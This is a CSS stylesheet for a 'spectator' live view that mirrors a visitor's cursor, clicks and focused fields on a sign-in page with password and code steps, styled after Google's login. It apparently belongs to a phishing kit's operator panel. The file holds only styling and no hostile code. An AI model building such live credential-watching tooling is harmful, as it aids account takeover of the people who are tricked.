/* Live view (spectator) styles — the real sign-in page, scaled to the visitor viewport. */

body.spectate {
  overflow: hidden;
  cursor: default;
}

body.spectate * {
  pointer-events: none !important;
}

body.spectate input {
  caret-color: transparent;
}

#spectatorStage {
  position: absolute;
  top: 0;
  left: 0;
  transform-origin: top left;
  overflow: hidden;
  background: var(--bg);
  will-change: transform;
  container-type: inline-size;
  container-name: spectator;
}

#spectatorStage .page {
  min-height: 0;
  height: 100%;
  box-sizing: border-box;
}

/* Responsive parity: mirror the viewport media queries against the visitor's own width. */
@container spectator (max-width: 920px) {
  .page {
    padding: 16px 12px;
  }

  .card {
    grid-template-columns: 1fr;
    row-gap: 8px;
    padding: 24px 24px 28px;
    border-radius: 20px;
    min-height: 0;
  }

  .logo,
  .logo img {
    width: 40px;
    height: 40px;
  }

  h1 {
    margin-top: 16px;
    font-size: 30px;
    line-height: 38px;
  }

  .subtitle {
    max-width: none;
  }

  .form-col {
    padding-top: 24px;
  }

  .guest-copy {
    max-width: none;
  }

  .footer {
    height: auto;
    flex-direction: column;
    align-items: flex-start;
    gap: 8px;
    padding: 0 4px;
  }

  .footer-links {
    flex-wrap: wrap;
  }

  .step {
    grid-template-columns: 1fr;
    row-gap: 8px;
  }

  .step-password .form-col {
    padding-top: 24px;
  }

  .step-code .form-col {
    padding-top: 24px;
  }

  .password-actions {
    margin-top: 32px;
  }
}

/* Mirror the visitor's focused field even though the input is not really focused. */
body.spectate .field.spectate-focus {
  box-shadow: inset 0 0 0 2px var(--blue);
}

body.spectate .field.spectate-focus .field-label {
  top: 0;
  left: 12px;
  padding: 0 4px;
  font-size: 12px;
  color: var(--blue);
}

body.spectate .field.spectate-focus.invalid {
  box-shadow: inset 0 0 0 2px var(--error);
}

body.spectate .field.spectate-focus.invalid .field-label {
  color: var(--error);
}

/* HUD */
.spectator-hud {
  position: fixed;
  top: 10px;
  right: 10px;
  z-index: 2147483646;
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  gap: 8px;
  max-width: calc(100% - 20px);
  padding: 6px 10px;
  border-radius: 8px;
  background: rgba(8, 12, 20, 0.82);
  border: 1px solid rgba(255, 255, 255, 0.12);
  color: #cbd5e1;
  font-family: "Google Sans Local", "Google Sans", roboto, arial, sans-serif;
  font-size: 10px;
  font-weight: 600;
  pointer-events: none;
  backdrop-filter: blur(4px);
}

.spectator-hud[hidden] {
  display: none;
}

.spectator-hud-live {
  color: #00e676;
  font-weight: 800;
  letter-spacing: 0.5px;
  white-space: nowrap;
}

/* Cursor */
.spectator-cursor {
  position: fixed;
  top: 0;
  left: 0;
  z-index: 2147483647;
  pointer-events: none;
  opacity: 1;
  transition: transform 0.08s linear, opacity 0.3s ease;
}

.spectator-cursor.idle {
  opacity: 0.28;
}

.spectator-cursor-dot {
  position: absolute;
  left: -7px;
  top: -7px;
  width: 14px;
  height: 14px;
  border-radius: 50%;
  background: #00e676;
  border: 2px solid #fff;
  box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3);
  transition: transform 0.12s ease;
}

.spectator-cursor-label {
  position: absolute;
  left: 11px;
  top: 11px;
  padding: 2px 6px;
  border-radius: 4px;
  background: rgba(0, 0, 0, 0.75);
  color: #fff;
  font-family: "Google Sans Local", "Google Sans", roboto, arial, sans-serif;
  font-size: 10px;
  font-weight: 700;
  letter-spacing: 0.4px;
  text-transform: uppercase;
  white-space: nowrap;
}

.spectator-cursor.click .spectator-cursor-dot {
  transform: scale(1.9);
}

/* Connection lost / session ended pill */
body.spectator-disconnected #spectatorStage {
  filter: grayscale(0.55) brightness(0.72);
}

body.spectator-disconnected .spectator-cursor {
  display: none;
}

.spectator-lost {
  position: fixed;
  left: 50%;
  top: 14px;
  transform: translateX(-50%);
  z-index: 2147483646;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 3px;
  max-width: 90vw;
  padding: 10px 18px;
  border-radius: 12px;
  background: rgba(229, 57, 53, 0.16);
  border: 1px solid rgba(229, 57, 53, 0.5);
  color: #fff;
  text-align: center;
  box-shadow: 0 12px 30px rgba(0, 0, 0, 0.45);
  pointer-events: none;
  font-family: "Google Sans Local", "Google Sans", roboto, arial, sans-serif;
}

.spectator-lost[hidden] {
  display: none;
}

.spectator-lost-head {
  display: flex;
  align-items: center;
  gap: 8px;
}

.spectator-lost-text {
  font-size: 13px;
  font-weight: 800;
  letter-spacing: 0.3px;
}

.spectator-lost-sub {
  font-size: 11px;
  color: #cbd5e1;
}

.spectator-lost-dot {
  width: 9px;
  height: 9px;
  border-radius: 50%;
  background: #e53935;
  animation: spectatorLostPulse 1.4s ease-out infinite;
}

@keyframes spectatorLostPulse {
  0% { box-shadow: 0 0 0 0 rgba(229, 57, 53, 0.55); }
  100% { box-shadow: 0 0 0 12px rgba(229, 57, 53, 0); }
}
